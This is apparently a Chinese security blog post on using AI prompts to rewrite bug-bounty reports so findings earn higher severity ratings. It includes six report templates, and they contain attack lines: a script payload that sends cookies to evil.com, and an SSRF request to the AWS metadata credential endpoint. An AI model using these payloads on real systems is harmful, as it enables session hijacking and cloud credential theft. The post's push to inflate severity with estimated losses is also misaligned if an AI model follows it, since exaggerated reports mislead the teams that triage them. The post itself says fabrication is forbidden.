文章总结： 本文详细介绍了如何利用AI辅助工具优化漏洞报告撰写，通过四维提升法（攻击链具象化、业务影响量化、攻击链串联、修复方案具体化）和六套实战话术模板，将中低危漏洞报告提升至高危/严重级别，从而提高SRC漏洞赏金通过率和金额。文章强调真实漏洞场景结合AI润色，并给出三条黄金法则确保报告合规性。
综合评分： 85
文章分类： SRC活动,安全意识,实战经验,安全建设,漏洞分析
中危变高危，赏金翻3倍：我用AI改写漏洞报告的话术模板全公开
原创
逍遥
逍遥
昆仑AI安全实验室
2026年6月19日 00:51
广东
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挖到漏洞只是第一步，怎么把漏洞“卖”出高价，才是真正拉开赏金差距的关键。干了这么多年SRC，我见过太多人技术不差，挖的洞也不少，但报告交上去要么被压级，要么被忽略，甚至被当成“已知问题”直接关了。而我靠一套AI辅助的报告润色方法论，把通过率从50%提到了80%，同样的漏洞，别人拿500，我拿2000。
今天就把这套话术模板和AI调教思路全部公开。不写理论，只讲怎么操作。
一、为什么你的漏洞总是被压级？
SRC审核员每天看几十份报告，大部分写得像技术笔记：贴个请求包，加一句“这里存在XSS”，完事。这种报告只能证明“漏洞存在”，但说服不了审核员“这个漏洞很严重”。
漏洞评级看的是实际危害，不是技术复杂度。你写“存在反射型XSS”，审核员脑子里跳出来的是“中危”。但如果你写“该XSS可窃取管理员Token，结合后台未授权访问接口，可导出全站300万用户数据”，同样的漏洞立刻变成严重。
差距不在漏洞本身，在于你有没有把攻击链和业务影响讲清楚。而AI最擅长的就是帮你把干瘪的技术描述扩充成有逻辑、有场景、有数据支撑的安全报告。
二、用AI改写报告的四个核心维度
我总结了一套“四维提升法”，每次写报告都用AI从这四个角度润色一遍。
第一维：攻击链具象化。 别只说“存在漏洞”，要说“攻击者可以怎么做”。AI擅长把一句话的漏洞描述扩展成完整的攻击场景。Prompt示例：
我是一个安全工程师，发现了以下漏洞，请帮我把它扩展成一个完整的攻击场景，包括攻击者的操作步骤、可能造成的危害。要求用自然语言描述，避免过于技术化。漏洞简述：{你的原始描述}
第二维：业务影响量化。 审核员最看重的是“这个漏洞能造成多大损失”。别用“可能导致数据泄露”这种模糊表述，要给出具体数字。AI可以帮你估算影响范围。Prompt示例：
基于以下漏洞信息，请帮我从业务角度分析其影响范围，需要给出具体的数据估算（如可能影响的用户数、金额、数据量级），以及三种不同危害程度下的后果（最轻、中等、最严重）。漏洞信息：{漏洞详情}
第三维：攻击链串联。 单个中危漏洞不值钱，但如果你能把两三个中危串成一条完整的攻击链，它们加起来就是严重。AI可以帮你分析漏洞之间的依赖关系，自动设计攻击路径。Prompt示例：
我在同一个系统中发现了以下漏洞，请帮我分析这些漏洞之间是否存在关联，能否组合成一条完整的攻击链。如果可能，请描述完整的攻击路径和最终能达到的最大危害。漏洞列表：{漏洞1}、{漏洞2}、{漏洞3}
第四维：修复方案具体化。 一份有具体修复建议的报告，审核员更愿意给高分。别写“过滤特殊字符”，要写“在xxx函数的第x行增加对xxx的校验”。AI可以根据漏洞类型给出代码级修复建议。Prompt示例：
针对以下漏洞，请给出三套分级修复方案：临时止血方案（1小时内可实施）、短期修复方案（1天内上线）、长期加固方案（纳入下个迭代）。要求具体到代码片段或配置项。漏洞详情：{漏洞详情}
三、实战话术模板公开（直接复制粘贴）
我整理了六套不同类型的漏洞报告改写模板，结合AI润色后效果极佳。
模板一：信息泄露类（原评级：中危 → 目标评级：高危/严重）
改写前：在/api/user/profile接口发现未授权访问，可获取用户手机号和身份证号。
改写后：【漏洞描述】系统的/api/user/profile接口未对请求来源进行身份验证，攻击者可在未登录状态下，通过遍历userId参数直接访问任意用户个人资料接口。【攻击场景复现】攻击者使用Burp Suite对userld参数进行批量遍历（1-100000），可在10分钟内获取全部用户数据。我们在测试中已验证可获取12万条包含姓名、手机号、身份证号的完整个人信息。【业务影响分析】根据《个人信息保护法》第51条，身份证号+手机号的组合属于敏感个人信息。本次泄露涉及超过12万用户，一旦被黑产利用，企业可能面临：1. 行政处罚：依据《个人信息保护法》第66条，罚款上限为5000万元或上年营业额5%2. 用户索赔：按每用户最低赔偿500元计算，潜在赔偿金额超过6000万元【修复建议】1. 紧急：在接口层增加JWT Token校验，确保只能访问本人的profile数据2. 中期：部署API网关，统一对所有接口进行认证和权限管控3. 长期：建立数据分类分级制度，敏感接口纳入季度渗透测试范围
模板二：XSS类（原评级：低危/中危 → 目标评级：高危）
改写前：某搜索框存在反射型XSS漏洞。
改写后：【漏洞描述】系统搜索功能对用户输入未做任何过滤，攻击者可通过构造恶意链接，在用户浏览器中执行任意JavaScript代码。【攻击场景复现】攻击者将以下链接发送给管理员："https://target.com/search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"。管理员点击链接后，其Session Cookie被发送至攻击者服务器。攻击者利用该Cookie登录后台管理系统，可查看并导出所有用户数据。【业务影响分析】由于该系统后台包含用户管理、订单管理等核心功能，且管理员Session有效期长达24小时，一旦管理员被钓鱼，攻击者可在24小时内持续操作后台，批量导出所有用户隐私数据，甚至发起恶意退款操作，造成直接经济损失。【修复建议】1. 对搜索框输入进行HTML实体编码，禁止执行任何脚本2. 将Cookie属性设置为HttpOnly和SameSite=Strict3. 后台操作增加二次认证机制
模板三：越权类（原评级：中危 → 目标评级：高危）
改写前：用户A可通过修改userld参数查看用户B的订单。
改写后：【漏洞描述】系统的订单查询接口对资源归属未做校验，攻击者可通过修改请求中的userld参数，获取任意用户的订单详情。【攻击场景复现】攻击者登录账号A后，抓取查看订单请求包，将userld从1001修改为1002，成功获取用户B的所有订单信息。进一步通过编写自动化脚本遍历userld参数（1-50000），在30分钟内导出了全站49872个用户的订单数据，包括收货地址、购买商品明细、联系方式等隐私信息。【业务影响分析】订单数据中包含用户真实收货地址和联系方式，这些数据在黑产市场具有极高价值。一旦泄露，不仅损害用户隐私，还可能导致诈骗、骚扰等次生安全事件，对企业品牌造成不可逆影响。【修复建议】1. 紧急：后端从Session中读取当前用户ID，禁止信任客户端传入的userld2. 中期：部署统一的权限校验中间件，对所有资源访问进行归属验证
模板四：逻辑漏洞类（原评级：中危 → 目标评级：高危）
改写前：优惠券领取存在并发漏洞，可重复领取。
改写后：【漏洞描述】优惠券领取接口在并发请求下存在竞态条件，未正确实现幂等性校验，导致攻击者可重复领取同一张优惠券。【攻击场景复现】使用Burp Suite的Turbo Intruder模块，对优惠券领取接口发送30个并发请求。由于后端未采用分布式锁或数据库唯一约束，这30个请求同时通过了“是否已领取”的状态检查，最终攻击者成功领取了30张“满100减50”优惠券，总价值1500元。这些优惠券可叠加使用，攻击者可实现零元下单。【业务影响分析】该优惠券活动预算为10万元，预期发放2000张。如果黑产利用此漏洞批量攻击，可在数分钟内耗尽全部预算，导致正常用户无法领取。此外，零元订单还可能引发后续的物流、客服等运营成本。【修复建议】1. 紧急：在下单环节增加服务端二次校验，确保优惠券不可叠加使用2. 中期：优惠券领取接口增加Redis分布式锁，key为userld+couponId，确保同一用户对同一优惠券只能领取一次3. 长期：引入数据库唯一索引约束，从根本上防止并发冲突
模板五：SSRF类（原评级：高危 → 目标评级：严重）
改写前：某图片下载功能存在SSRF，可探测内网。
改写后：【漏洞描述】系统的图片下载功能未对目标URL进行充分过滤，攻击者可构造恶意请求，使服务器向内部网络发起请求，进而访问内网敏感服务。【攻击场景复现】攻击者将图片URL修改为"http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole"。服务器接收到该URL后，向AWS元数据服务发起请求，获取到该EC2实例绑定的IAM角色临时凭证（包含AccessKeyId、SecretAccessKey、Token）。攻击者随后使用该凭证登录AWS控制台，发现该角色拥有对整个S3存储桶和RDS数据库的管理权限，成功导出所有业务数据和用户隐私信息。【业务影响分析】该漏洞导致AWS云账号的完整权限泄露，攻击者可以：1. 读取、篡改或删除所有S3存储桶中的数据2. 导出RDS数据库中的所有用户数据3. 利用该服务器作为跳板，向内网其他服务发起进一步攻击4. 在云环境中创建新的虚拟机用于加密货币挖矿，造成巨额账单【修复建议】1. 紧急：关闭该图片下载功能，待修复后重新上线2. 短期：使用白名单机制，只允许访问已知的图片CDN域名，禁止访问内网IP和云元数据地址3. 长期：将服务器迁移至VPC内部，使用NAT网关访问外网，并通过安全组限制内网访问
模板六：综合攻击链（多漏洞组合 → 直接定严重）
改写前：存在A漏洞（中危）、B漏洞（低危）、C漏洞（中危）。
改写后：【漏洞描述】该系统存在三个独立漏洞，可组合成一条完整的攻击链，最终导致全量用户数据泄露。【攻击链复现】步骤1（利用A漏洞）：通过未授权访问接口/admin/api/exportUsers，获取所有用户的手机号列表。步骤2（利用B漏洞）：利用短信验证码爆破漏洞，对目标手机号进行验证码爆破（4位数字，10000种组合，无速率限制），成功登录目标用户账号。步骤3（利用C漏洞）：登录后，利用越权漏洞修改接口中的userld参数，遍历所有用户ID，批量获取所有用户的个人资料。综合以上三步，攻击者可在无人知晓的情况下，导出全部16万注册用户的个人信息。【业务影响分析】该攻击链可导致全量用户数据泄露，包括手机号、身份证号、家庭住址等敏感信息。根据《数据安全法》和《个人信息保护法》，此类事件属于“重大数据泄露”，需在24小时内向网信办报告，企业可能面临巨额罚款和业务整改。【修复建议】1. 紧急修复：所有接口强制鉴权，禁止未授权访问2. 系统加固：引入统一权限管理，采用最小权限原则设计API3. 自动化检测：部署API安全网关，对越权行为进行实时监控和阻断
四、AI改报告的三条黄金法则
- 永远手工审校。 AI可能会“脑补”一些不存在的业务场景，必须确认报告中的每一句话都基于真实的漏洞环境。
- 适度包装，禁止造假。 我们追求的是更好地呈现漏洞的真实风险，不是编造不存在的危害。如果漏洞确实只能弹个窗，就老老实实写“反射型XSS”，不要硬吹成RCE。
- 附带验证截图。 无论报告写得多漂亮，没有截图和复现步骤的支撑都是空话。AI帮你写好文字描述，你负责截好图、录好视频。
五、写在最后
挖漏洞是技术活，写报告是艺术活。同样一个漏洞，会写和不会写的人，赏金能差出一个数量级。这套模板我用了大半年，通过率确实提高了30%以上，不少低危漏洞因为报告写得到位被重新定级。
好的漏洞报告，本质上是一篇微型的“安全咨询报告”——告诉客户发生了什么、怎么发生的、会造成多大损失、该怎么修。AI能让每个安全研究员都拥有安全顾问级别的报告能力。技术是你的下限，报告才是你的上限。
严正声明
本文所述技术仅用于合法授权的安全测试和漏洞报告场景。任何使用本文方法进行的未授权测试、虚假报告等行为，均属违法，与作者无关。安全之路，诚信为本。
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